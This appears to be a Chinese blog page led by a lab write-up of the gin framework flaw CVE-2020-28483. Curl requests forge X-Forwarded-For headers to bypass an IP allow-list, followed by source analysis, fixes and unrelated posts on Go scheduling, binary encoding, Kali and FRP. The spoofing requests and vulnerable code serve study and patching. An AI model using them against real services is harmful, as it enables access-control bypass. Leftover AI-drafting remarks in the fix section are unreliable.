`1`	`curl -s http://localhost:8080/admin \| python3 -m json.tool`

{
    "client_ip": "::1",
    "message": "Access Denied"
}

本地直连识别为 ::1（IPv6 localhost），不在白名单内，被拒绝。

伪造 X-Forwarded-For — 绕过白名单

1
2

curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool

{
    "client_ip": "127.0.0.1",
    "message": "Welcome, tructed admin!",
    "secret": "FLAG{CVE-2020-28483}"
}

一个 HTTP 头，白名单消失。

用 /whoami 看清楚发生了什么

不带伪造头

`1`	`curl -s http://localhost:8080/whoami \| python3 -m json.tool`

{
    "remote": "[::1]:51052",
    "xff": "",
    "your_ip": "::1"
}

带伪造头

1
2

curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool

{
    "remote": "[::1]:50174",
    "xff": "8.8.8.8",
    "your_ip": "8.8.8.8"
}

关键对比：

remote = TCP 层真实地址 [::1]:50174（OS 保证，无法伪造）

your_ip = gin 读 HTTP 头得到的 8.8.8.8（可随意伪造）

2.4 多级 IP 链伪造

1
2

curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool

{
    "client_ip": "127.0.0.1",
    "message": "Welcome, tructed admin!",
    "secret": "FLAG{CVE-2020-28483}"
}

gin 取 XFF 的第一个值 127.0.0.1，成功伪造为白名单内的 IP。

0x03 原理分析

3.1 X-Forwarded-For 是什么？

【正常场景 — 有代理保护】

你的浏览器 (真实IP: 1.2.3.4)
        |
        v
Nginx 反向代理
        | 追加: X-Forwarded-For: 1.2.3.4
        v
Gin 后端应用
        | ctx.ClientIP() 读 XFF → 1.2.3.4 [OK] 正确


【漏洞场景 — gin 直接暴露公网】

攻击者 (真实IP: 5.6.7.8)
        | 自己写: X-Forwarded-For: 127.0.0.1
        v
Gin 后端应用 (无代理拦截)
        | ctx.ClientIP() 读 XFF → 127.0.0.1 [FAIL] 被骗了

XFF 是 HTTP 头，HTTP 头是攻击者自己写的，没有任何机制保证它的真实性。只有当你信任的代理帮你写这个头时，它才可信。

3.2 受影响的真实场景

你的应用用 ctx.ClientIP() 做了以下任何一件事？

  ┌─────────────────────────────────────────┐
  │  IP 白名单 / 管理后台访问控制            │ <- 可被绕过
  │  基于 IP 的限流 / 防爆破                 │ <- 可被绕过
  │  安全审计日志 / 溯源记录                 │ <- 可被污染
  │  GeoIP 地理位置限制                      │ <- 可被绕过
  │  风控系统的 IP 信誉评分                  │ <- 可被绕过
  └─────────────────────────────────────────┘
          |
      全部可以用一个 HTTP 头绕过

3.3 gin v1.6.3 的 ClientIP() 逻辑

来源: https://github.com/gin-gonic/gin/pull/2474/changes

// [VULN] gin v1.6.3 — context.go L731-750
// Use X-forwarded-For before X-Real-Ip as nginx uses X-Real-IP with the proxy's IP.
func (c *Context) ClientIP() string {
    if c.engine.ForwardedByClientIP {
        // Line 733: 读取 X-Forwarded-For 头
        clientIP := c.requestHeader("X-Forwarded-For")
        
        // Line 734: 按逗号分割，取第一个值
        clientIP = strings.TrimSpace(strings.Split(clientIP, ",")[0])
        
        // Line 735: 如果非空，直接返回 <- [VULN] 零验证
        if clientIP != "" {
            return clientIP  // <- 攻击者写什么就返回什么
        }
        
        // Line 736: fallback 到 X-Real-Ip
        clientIP = strings.TrimSpace(c.requestHeader("X-Real-Ip"))
        
        // Line 738: 同样直接返回
        if clientIP != "" {
            return clientIP  // <- 同样可伪造
        }
    }
    
    // Line 743: 检查 AppEngine（Google App Engine）
    if c.engine.AppEngine {
        if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
            return addr
        }
    }
    
    // Line 749: 最后才读真实 TCP 地址
    if ip, _, err := net.SplitHostPort(
        strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
        return ip
    }
    
    // Line 750: 兜底
    return c.Request.RemoteAddr
}

执行流程图解：

请求进来: X-Forwarded-For: 8.8.8.8

Line 732: ForwardedByClientIP == true?  (默认 true)
            |
Line 733: 读 X-Forwarded-For 头 -> "8.8.8.8"
            |
Line 734: Split(",")[0] -> "8.8.8.8"
            |
Line 735: clientIP != "" ? 是
            |
Line 739: return clientIP -> "8.8.8.8"  <- 没有任何来源验证
            |
ctx.ClientIP() = "8.8.8.8"  <- 直接返回给应用

3.4 漏洞的本质

gin v1.6.3 的信任链:

应用层 HTTP 头 (XFF)  <- Line 733
        |
    直接信任 <- [FAIL] 这是漏洞根源
        |
ctx.ClientIP() 返回值  <- Line 739
        |
用于安全决策（IP 白名单、限流等）
        |
    被绕过

正确的信任链应该是：

TCP 层真实 IP (RemoteAddr)  <- Line 749 不可伪造
        |
这是代理吗？
        ├─ 是可信代理 -> 信任 XFF 头 (Line 733)
        └─ 否 -> 忽略 XFF，用 RemoteAddr (Line 749)
        |
ctx.ClientIP() 返回值
        |
用于安全决策
        |
    安全 [OK]

0x04 源码审计

完整源码流程追踪

从实际请求开始，逐行追踪源码执行：

HTTP 请求
  |
  v
Gin Router 匹配路由
  |
  v
Handler 执行: ctx.ClientIP()  <- context.go L731
  |
  +---> Line 732: if c.engine.ForwardedByClientIP {
  |        |
  |        +---> Line 733: clientIP := c.requestHeader("X-Forwarded-For")
  |        |        |
  |        |        | 调用 requestHeader() 方法
  |        |        v
  |        |        func (c *Context) requestHeader(key string) string {
  |        |            return c.Request.Header.Get(key)
  |        |        }
  |        |        |
  |        |        +---> 返回 HTTP 头值（攻击者控制）
  |        |
  |        +---> Line 734: strings.Split(clientIP, ",")[0]
  |        |        |
  |        |        | 按逗号分割，取第一个值
  |        |        | "127.0.0.1, 10.0.0.1" -> "127.0.0.1"
  |        |
  |        +---> Line 735: if clientIP != "" {
  |        |        |
  |        |        +---> Line 739: return clientIP  <- [VULN]
  |        |
  |        +---> (如果 XFF 为空，继续)
  |        |
  |        +---> Line 736: clientIP := c.requestHeader("X-Real-Ip")
  |        |
  |        +---> Line 738: if clientIP != "" {
  |        |        +---> Line 739: return clientIP  <- [VULN]
  |
  +---> Line 743: if c.engine.AppEngine {
  |        |
  |        +---> Line 744: if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
  |        |        +---> Line 745: return addr  <- [VULN]
  |
  +---> Line 749: if ip, _, err := net.SplitHostPort(
  |        |        strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
  |        |        |
  |        |        | 解析 TCP RemoteAddr
  |        |        | "[::1]:51052" -> "::1"
  |        |        |
  |        |        +---> Line 750: return ip  <- [OK] 真实 IP
  |
  +---> Line 752: return c.Request.RemoteAddr  <- 兜底

关键变量分析

c.engine.ForwardedByClientIP

// engine.go 中的定义
type Engine struct {
    // ...
    ForwardedByClientIP bool  // 默认值是什么？
    // ...
}

// 初始化代码（engine.go）
func New() *Engine {
    engine := &Engine{
        // ...
        ForwardedByClientIP: true,  // <- 默认开启！
        // ...
    }
    return engine
}

问题：即使你没有显式配置，ForwardedByClientIP 也默认为 true，导致所有请求都会尝试读 XFF。

requestHeader() 方法

// context.go 中的实现
func (c *Context) requestHeader(key string) string {
    return c.Request.Header.Get(key)
}

这个方法做了什么：

直接调用 http.Request.Header.Get(key)
返回 HTTP 头的值
零验证，零过滤

攻击者可以设置任意值：

curl http://target:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-Ip: 192.168.1.1" \
  -H "X-Appengine-Remote-Addr: 10.0.0.1"

gin 会按优先级依次尝试，取第一个非空的值。

strings.Split() 的陷阱

1
2

// Line 734 的操作
clientIP := strings.Split(clientIP, ",")[0]

这行代码的问题：

输入: "127.0.0.1, 10.0.0.1, 172.16.0.1"

strings.Split(",") 结果:
  [0] = "127.0.0.1"
  [1] = " 10.0.0.1"    <- 注意前面有空格
  [2] = " 172.16.0.1"

[0] 被返回: "127.0.0.1"

Line 734 之后有 TrimSpace，但只作用于最终结果
实际上 "127.0.0.1" 已经被取出来了

攻击者可以利用这一点：

# 多级链伪造
curl http://target:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1"
# gin 取第一个 "127.0.0.1" -> 成功伪造

Request.RemoteAddr 的真实性

// Line 749 的操作
if ip, _, err := net.SplitHostPort(
    strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
    return ip
}

RemoteAddr 来自哪里：

HTTP 服务器接收连接时：

1. TCP 三次握手完成
2. OS 内核记录连接的源 IP 和源端口
3. Go 的 net 包读取这个信息
4. 存储在 http.Request.RemoteAddr 中

示例值: "[::1]:51052"
       |    |      |
       |    |      +-- 源端口（攻击者无法控制）
       |    +--------- 源 IP（来自 TCP 层，无法伪造）
       +-------------- IPv6 格式

为什么无法伪造：

攻击者无法改变自己的源 IP（除非控制网络基础设施）
即使攻击者尝试伪造源 IP，操作系统会验证 TCP 三次握手
伪造的包会被丢弃，连接无法建立

漏洞修复对比（v1.7.0+）

来源: https://github.com/gin-gonic/gin/pull/2474/changes

// ClientIP implements a best effort algorithm to return the real client IP, it parses
// X-Real-IP and X-Forwarded-For in order to work properly with reverse-proxies such us: nginx or haproxy.
// Use X-Forwarded-For before X-Real-Ip as nginx uses X-Real-Ip with the proxy's IP.
func (c *Context) ClientIP() string {
	if c.engine.ForwardedByClientIP && c.engine.RemoteIPHeaders != nil {
		for _, header := range c.engine.RemoteIPHeaders {
			ipChain := filterIPsFromUntrustedProxies(c.requestHeader(header), c.Request, c.engine)
			if len(ipChain) > 0 {
				return ipChain[0]
			}
		}
	}

	if c.engine.AppEngine {
		if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
			return addr
		}
	}

	ip, _ := getTransportPeerIPForRequest(c.Request)

	return ip
}

func filterIPsFromUntrustedProxies(XForwardedForHeader string, req *http.Request, e *Engine) []string {
	var items, out []string
	if XForwardedForHeader != "" {
		items = strings.Split(XForwardedForHeader, ",")
	} else {
		return []string{}
	}
	if peerIP, err := getTransportPeerIPForRequest(req); err == nil {
		items = append(items, peerIP)
	}

	for i := len(items) - 1; i >= 0; i-- {
		item := strings.TrimSpace(items[i])
		ip := net.ParseIP(item)
		if ip == nil {
			return out
		}

		out = prependString(ip.String(), out)
		if !isTrustedProxy(ip, e) {
			return out
		}
		//		out = prependString(ip.String(), out)
	}
	return out
}

func isTrustedProxy(ip net.IP, e *Engine) bool {
	for _, trustedProxy := range e.TrustedProxies {
		if _, ipnet, err := net.ParseCIDR(trustedProxy); err == nil {
			if ipnet.Contains(ip) {
				return true
			}
			continue
		}

		if proxyIP := net.ParseIP(trustedProxy); proxyIP != nil {
			if proxyIP.Equal(ip) {
				return true
			}
			continue
		}

		if addrs, err := e.lookupHost(trustedProxy); err == nil {
			for _, proxyAddr := range addrs {
				proxyIP := net.ParseIP(proxyAddr)
				if proxyIP == nil {
					continue
				}
				if proxyIP.Equal(ip) {
					return true
				}
			}
		}
	}
	return false
}

func prependString(ip string, ipList []string) []string {
	ipList = append(ipList, "")
	copy(ipList[1:], ipList)
	ipList[0] = string(ip)
	return ipList
}

func getTransportPeerIPForRequest(req *http.Request) (string, error) {
	var err error
	if ip, _, err := net.SplitHostPort(strings.TrimSpace(req.RemoteAddr)); err == nil {
		return ip, nil
	}
	return "", err
}

修复的关键差异：

v1.6.3 (漏洞版):
  XFF 头 -> 直接取第一个值 -> 返回
  完全没有验证这个请求是否来自可信代理

v1.7.0 (修复版):
  XFF 头 -> 从右往左遍历 -> 检查每个 IP 是否在 TrustedProxies 中
         -> 遇到不可信 IP 停止 -> 返回停止点之后的 IP
  
  本质：从 TCP 层已知的真实对端 IP 往左回溯，
       只要链路中出现不可信节点就停，不再往左信任

修复后的效果：

场景：gin 直接暴露公网，TrustedProxies = nil

攻击者请��: X-Forwarded-For: 127.0.0.1

items = ["127.0.0.1", "5.6.7.8(真实TCP)"]

从右往左遍历:
  i=1: "5.6.7.8" -> isTrustedProxy("5.6.7.8") -> false (TrustedProxies 为空)
       -> 停止，返回 ["5.6.7.8"]

ClientIP() = "5.6.7.8"  <- 返回真实 IP，攻击失败

源码对比总结

版本	关键行	逻辑	安全性
v1.6.3	L733-739	直接读 XFF，无验证	[FAIL]
v1.7.0+	filterIPsFromUntrustedProxies	从 TCP IP 往左回溯，遇不可信 IP 停止	[OK]

0x05 修复方案

你说得对，我需要查证 gin v1.7.0 的实际 API。让我重新编写 0x05 修复方案。

让我查找 Engine 结构体的定义：

让我查找 ForwardedByClientIP 的定义：

现在我明白了。这份源码中有 TrustedProxies 字段，说明这已经是修复版本。让我重新编写 0x05，基于实际的修复方式：

0x05 修复方案

5.1 方案 1：升级 gin + 配置 TrustedProxies（生产推荐）

Step 1: 升级 gin 到修复版本

# 查看当前版本
go list -m github.com/gin-gonic/gin

# 升级到最新版本（包含修复）
go get -u github.com/gin-gonic/gin

Step 2: 在 main.go 中配置 TrustedProxies

修复版本的 gin 在 Engine 结构体中增加了 TrustedProxies 字段，需要在初始化时配置：

package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	// 配置可信代理列表
	// 只有来自这些 IP/网段的代理转发的 XFF 才被采信
	r.TrustedProxies = []string{
		"10.0.0.0/8",       // 内网 A 类
		"172.16.0.0/12",    // 内网 B 类
		"192.168.0.0/16",   // 内网 C 类
		"127.0.0.1",        // 本地代理
	}

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

Step 3: 更新依赖

1
2

go mod tidy
go run main.go

Step 4: 验证修复效果

1
2
3

# 升级后，攻击失败
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool

{
    "client_ip": "::1",
    "message": "Access Denied"
}

攻击者伪造的 XFF 被忽略，返回真实 TCP IP ::1

5.2 方案 2：禁用 ForwardedByClientIP（完全不信任 XFF）

适用场景：

gin 直接绑定 0.0.0.0:8080，无任何代理
不需要识别客户端真实 IP

修改代码：

package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	// 关键：禁用 ForwardedByClientIP
	// 此时 ctx.ClientIP() 将直接返回 TCP RemoteAddr，忽略所有 XFF 相关头
	r.ForwardedByClientIP = false

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

验证修复效果：

1
2
3

# 即使伪造 XFF，也被忽略
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool

{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

your_ip 返回真实 TCP IP，XFF 头被完全忽略

5.3 方案 3：不依赖 ClientIP()，自行解析 TCP 地址

适用场景：

需要完全控制 IP 识别逻辑
不想依赖 gin 的 ClientIP() 方法

创建工具函数：

package main

import (
	"net"
	"strings"

	"github.com/gin-gonic/gin"
)

// getRealIP 从 TCP 层获取真实 IP，无法伪造
func getRealIP(c *gin.Context) string {
	// 从 RemoteAddr 直接解析（最安全）
	ip, _, err := net.SplitHostPort(strings.TrimSpace(c.Request.RemoteAddr))
	if err == nil {
		return ip
	}

	// 兜底，直接返回 RemoteAddr
	return c.Request.RemoteAddr
}

在 Handler 中使用：

func main() {
	r := gin.Default()

	r.GET("/admin", func(ctx *gin.Context) {
		// 使用自定义函数获取真实 IP
		clientIP := getRealIP(ctx)
		
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": getRealIP(ctx),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

验证修复效果：

1
2

curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool

{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

即使伪造 XFF，your_ip 仍然返回真实 TCP IP

5.4 三种方案对比

方案	升级成本	代理支持	安全性	适用场景
A: 升级 + TrustedProxies	中	支持	[OK]	有代理的生产环境
B: ForwardedByClientIP = false	低	不支持	[OK]	gin 直接暴露公网
C: 自定义 getRealIP()	高	自定义	[OK]	需要完全控制逻辑

5.5 方案选择指南

你的部署架构是什么？

┌─ 有反向代理（Nginx/LB）
│   └─> 使用方案 A
│       r.TrustedProxies = []string{"代理IP或网段"}
│
├─ gin 直接暴露公网，无代理
│   └─> 使用方案 B
│       r.ForwardedByClientIP = false
│
└─ 需要自定义 IP 识别逻辑
    └─> 使用方案 C
        自定义 getRealIP() 函数

5.6 验证修复是否生效

测试脚本：

#!/bin/bash

echo "[*] 测试修复效果"
echo ""

echo "[1] 正常请求（无伪造）"
curl -s http://localhost:8080/whoami | python3 -m json.tool
echo ""

echo "[2] 伪造 X-Forwarded-For: 8.8.8.8"
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
echo ""

echo "[3] 伪造多级链"
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool
echo ""

echo "[4] 尝试访问 /admin（应该被拒绝）"
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
echo ""

echo "[*] 如果所有伪造都被忽略，修复成功"

预期输出（修复后）：

[*] 测试修复效果

[1] 正常请求（无伪造）
{
    "remote": "[::1]:51052",
    "xff": "",
    "your_ip": "::1"
}

[2] 伪造 X-Forwarded-For: 8.8.8.8
{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

[3] 伪造多级链
{
    "remote": "[::1]:51052",
    "xff": "127.0.0.1, 10.0.0.1, 172.16.0.1",
    "your_ip": "::1"
}

[4] 尝试访问 /admin（应该被拒绝）
{
    "client_ip": "::1",
    "message": "Access Denied"
}

[*] 如果所有伪造都被忽略，修复成功

所有伪造的 XFF 都被忽略，your_ip 始终返回真实 TCP IP ::1，修复成功

0x06 参考资料

Go-GMP模型理解

Sat, 28 Feb 2026 14:20:00 +0800

Go 语言 GMP 模型理解

核心三层架构

┌─────────────────────────────────────────────────┐
│           G (Goroutine) - 用户级线程            │
│  轻量级、海量(百万级)、由Go调度器管理           │
└────────────┬────────────────────────────────────┘
             │ 绑定关系
┌────────────▼────────────────────────────────────┐
│     M (Machine) - OS线程 / 工作线程             │
│  真实执行单位、数量受限(默认10000)、昂贵资源    │
└────────────┬────────────────────────────────────┘
             │ 绑定关系
┌────────────▼────────────────────────────────────┐
│      P (Processor) - 逻辑处理器 / 调度器        │
│  本地队列持有者、数量=GOMAXPROCS(默认=CPU核数)  │
└─────────────────────────────────────────────────┘

快速记忆法

层级	英文	中文	数量	特性
G	Goroutine	协程	百万+	用户态、廉价、可阻塞
M	Machine	线程	~10K	内核态、昂贵、真执行
P	Processor	处理器	CPU核数	调度器、本地队列

执行流程（3步）

1. G创建 → 进入P的本地队列(LRQ)
   
2. M从P获取G → 执行(M:P = N:1)
   
3. G阻塞/完成 → P寻找新G或唤醒M

关键机制

1. Work Stealing（工作窃取）

P1本地队列满        P2本地队列空
    ↓                   ↓
[G1][G2][G3]    →   [G1][G2]
P1将G3转移给P2（负载均衡）

当P2队列为空的时候，会从P1偷走一半（向上取整）

2. 自旋M（Spinning M）

M没有G时不立即休眠，而是自旋寻找G
减少M唤醒延迟，提高吞吐量
最多GOMAXPROCS个M自旋

3. 阻塞处理

G阻塞(I/O/锁)
    ↓
M与P解绑 → M进入阻塞等待
    ↓
P立即绑定新M → 继续执行队列中的G
    ↓
原M唤醒 → 寻找可用P或加入全局队列

常见问题速解

Q: 为什么需要P？
A: 避免全局队列锁竞争，P的本地队列无锁。

Q: M数量为什么有上限？
A: 每个M占用~2MB内存，防止内存爆炸。

Q: GOMAXPROCS=1时会怎样？
A: 单P单M，所有G串行执行（除非G主动让出）。

Q: 如何观察GMP状态？

1
2

GODEBUG=gctrace=1 ./program  # 查看GC与调度信息
go tool trace trace.out       # 可视化调度

代码示例：观察GMP

package main

import (
	"fmt"
	"runtime"
	"time"
)

func main() {
	// 设置P数量
	runtime.GOMAXPROCS(2)

	// 打印当前GMP状态
	var m runtime.MemStats
	runtime.ReadMemStats(&m)

	fmt.Printf("NumGoroutine: %d\n", runtime.NumGoroutine())
	fmt.Printf("NumCPU: %d\n", runtime.NumCPU())
	fmt.Printf("GOMAXPROCS: %d\n", runtime.GOMAXPROCS(-1))

	// 创建大量G
	for i := range 100 {
		go func(id int) {
			time.Sleep(100 * time.Millisecond)
			fmt.Printf("G%d done\n", id)
		}(i)
	}

	time.Sleep(200 * time.Millisecond)
}

调度决策树

G就绪
  ├─ P有空闲M? ──Yes→ 绑定执行
  │
  └─ No
      ├─ 其他P有G? ──Yes→ Work Stealing
      │
      └─ No → G进入全局队列(GRQ)

参考

原码、反码、补码

Wed, 17 Dec 2025 17:57:33 +0800

原码、反码、补码

封面： https://www.mylittlewallpaper.com/c/vocaloid/download/5381c1271f52d0.23342334

计算机使用二进制表示数值，但是二进制没有正反，那么如何使用二进制表示正反呢？

原码、反码、补码就是解决这个问题的：

原码（Sign-Magnitude）
反码（Ones’ Complement）
补码（Two’s Complement）← 现代计算机标准

原码（Sign-Magnitude）

表示方法：

最高位表示符号：0为正，1为负
其余位表示数值的绝对值

负数表示也就是：取出最左边的位（最高位）表示正反

示例（4位）：

1
2

+5：0101
-5：1101

问题：

有+0和-0两种零：0000和1000
加减法电路复杂

反码（Ones’ Complement）

表示方法：

正数：与原码相同
负数：将对应正数的所有位取反（0变1，1变0）

负数表示也就是：符号位不变，其余取反

计算规则：

`1`	`负数 = 按位取反(对应正数)`

示例（4位）：

1
2

+5：0101
-5：1010  （将0101的每一位取反）

验证：5 + (-5) = 0

  0101 (+5)
+ 1010 (-5)
-----------
  1111  （这是-0的反码表示）

特点：

仍然有+0（0000）和-0（1111）的问题
加减法比原码简单，但仍有循环进位问题

补码（Two’s Complement）← 现代标准

表示方法：

正数：与原码相同
负数：将对应正数的所有位取反后加1

负数表示也就是反码+1

计算规则：

`1`	`负数 = 按位取反(对应正数) + 1`

示例（4位）：

1
2

+5：0101
-5：1011  （将0101取反得1010，再加1得1011）

验证：5 + (-5) = 0

  0101 (+5)    正数不需要改变
+ 1011 (-5)    负数使用补码
-----------
 10000  （4位系统中，最高位进位，被丢弃，只留4位）
  0000  = 0 ✓

三种编码对比（4位系统）

十进制	原码	反码	补码
+7	0111	0111	0111
+6	0110	0110	0110
+5	0101	0101	0101
+4	0100	0100	0100
+3	0011	0011	0011
+2	0010	0010	0010
+1	0001	0001	0001
+0	0000	0000	0000
-0	1000	1111	无
-1	1001	1110	1111
-2	1010	1101	1110
-3	1011	1100	1101
-4	1100	1011	1100
-5	1101	1010	1011
-6	1110	1001	1010
-7	1111	1000	1001
-8	无	无	1000

总结

特性	原码	反码	补码
零的表示	+0和-0	+0和-0	唯一0
加减法	复杂	较简单	统一简单
硬件需求	多	较少	最少
现代使用	基本不用	很少用	标准

补码是现代计算机表示有符号整数的标准，它解决了零的歧义问题，成为了最终的计算机负数计算的最终解决方案。

Kali 当前用户目录中英文修改

Thu, 11 Dec 2025 20:13:40 +0800

Kali 当前用户目录中英文修改

本篇文章由ai生成

Kali Linux 默认会为中文用户创建「桌面 / 下载 / 文档 …」等中文目录。
如果只想把 当前用户 的目录名换成英文，而 不动系统级语言，可以用 xdg-user-dirs 快速完成。

方式1 一键脚本（推荐）

把下面内容保存为 switch-home-dirs-en.sh，chmod +x 后执行即可。

#!/usr/bin/env bash
set -e

# 1. 让 xdg 以后都使用英文路径
xdg-user-dirs-update --set DESKTOP       "$HOME/Desktop"
xdg-user-dirs-update --set DOWNLOAD      "$HOME/Downloads"
xdg-user-dirs-update --set TEMPLATES     "$HOME/Templates"
xdg-user-dirs-update --set PUBLICSHARE   "$HOME/Public"
xdg-user-dirs-update --set DOCUMENTS     "$HOME/Documents"
xdg-user-dirs-update --set MUSIC         "$HOME/Music"
xdg-user-dirs-update --set PICTURES      "$HOME/Pictures"
xdg-user-dirs-update --set VIDEOS        "$HOME/Videos"

# 2. 如果已存在中文目录，则重命名
for src in 桌面 下载 模板 公共 文档 音乐 图片 视频; do
    [ -d "$HOME/$src" ] && mv "$HOME/$src" "$HOME/$(xdg-user-dir "$(tr '[:lower:]' '[:upper:]' <<< "$src")")"
done

echo "✅ 完成！注销或重启会话后生效。"

方式2 手动分步执行

终端逐条复制即可：

# 设置英文路径记录
xdg-user-dirs-update --set DESKTOP       ~/Desktop
xdg-user-dirs-update --set DOWNLOAD      ~/Downloads
xdg-user-dirs-update --set TEMPLATES     ~/Templates
xdg-user-dirs-update --set PUBLICSHARE   ~/Public
xdg-user-dirs-update --set DOCUMENTS     ~/Documents
xdg-user-dirs-update --set MUSIC         ~/Music
xdg-user-dirs-update --set PICTURES      ~/Pictures
xdg-user-dirs-update --set VIDEOS        ~/Videos

# 重命名现有中文目录
mv ~/桌面   ~/Desktop   2>/dev/null
mv ~/下载   ~/Downloads 2>/dev/null
mv ~/模板   ~/Templates 2>/dev/null
mv ~/公共   ~/Public    2>/dev/null
mv ~/文档   ~/Documents 2>/dev/null
mv ~/音乐   ~/Music     2>/dev/null
mv ~/图片   ~/Pictures  2>/dev/null
mv ~/视频   ~/Videos    2>/dev/null

3. 验证

注销或重启图形会话 → 打开文件管理器 → 家目录应全部显示英文：

`1`	`Desktop Downloads Templates Public Documents Music Pictures Videos`

4. 恢复中文目录

改回中文，执行：

1
2

export LANG=zh_CN.UTF-8
xdg-user-dirs-update

随后手动把目录名字改回中文即可。

5. 注意事项

仅影响当前用户，系统语言、登录界面等保持不变。
依赖 xdg-user-dirs，Kali 默认已安装；若缺失 sudo apt install xdg-user-dirs。
对基于 XFCE/GNOME/KDE 的 Kali 均有效。

完。

Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）

Thu, 11 Dec 2025 10:45:10 +0800

Minecraft联机教程：使用阿里云搭建FRP服务器实现内网穿透（局域网联机）

在和朋友玩Minecraft（我的世界）、terraria（泰拉瑞亚）这些游戏进行联机，使用stram以及mc官方的服务器进行游戏的时候，会出现网络波动较为严重、偶尔掉线的问题，使用樱花frp、花生壳等公共内网穿透服务虽然方便、免费，但是受限于连接数量以及人数使用，网络波动较大（当然，付费之后网络是比免费的要好一些的）。

在最近进行联机的时候我选择了frp+aliyun进行内网穿透来进行mc游戏联机，顺便编写了这边教程。

前置条件

一个阿里云账号：云平台账号用于创建云服务器进行穿透，阿里云需要账户里有100以上的余额才能创建按量付费的云主机，不想用阿里云可以使用其他云平台，地址: https://cn.aliyun.com/
frp：在发布页下载合适的压缩包 https://github.com/fatedier/frp

服务器部分

打开阿里云的控制台，找到左边的三条横杠->全部->计算->云服务器

创建实例，选择合适的规格之后进行创建

设置安全组

开放端口7000，25565，22，81

端口	作用
7000	frp进行连接
25565	mc进行联机
22	远程控制
81	这个是我用来存放mod，mc启动器，等等资源的端口，不需要使用的时候可以关闭。

启动之后，连接到云服务器，本地下载frp，并上传。

我这里使用的是mobaxterm进行远程连接的，上传比较方便

将frp下载到本地，官网链接:https://github.com/fatedier/frp （网络连接好也可以直接下载到服务器）

`1`	`wget https://github.com/fatedier/frp/releases/download/v0.65.0/frp_0.65.0_linux_amd64.tar.gz`

下载完成之后上传到服务器，解压，并进入到目录下

# ls
frp_0.65.0_linux_amd64.tar.gz
~# tar -xf frp_0.65.0_linux_amd64.tar.gz
~# ls
frp_0.65.0_linux_amd64  frp_0.65.0_linux_amd64.tar.gz
~# cd frp_0.65.0_linux_amd64/
# ls
frpc  frpc.toml  frps  frps.toml  LICENSE
# cat frps.toml
bindPort = 7000

这里frpc 和 frpc.toml 是客户端文件，现在可以不用管，frps.toml 是服务端文件，没有什么需求的话也不用改，这里我们使用tmux，防止本地网络波动或操作过程切换网络导致服务端shell掉线，在终端输入tmux之后可以启动服务端了，

# ./frps -c frps.toml
2025-12-11 11:23:21.657 [I] [frps/root.go:108] frps uses config file: frps.toml
2025-12-11 11:23:21.745 [I] [server/service.go:236] frps tcp listen on 0.0.0.0:7000
2025-12-11 11:23:21.745 [I] [frps/root.go:117] frps started successfully

显示 successfully 启动成功

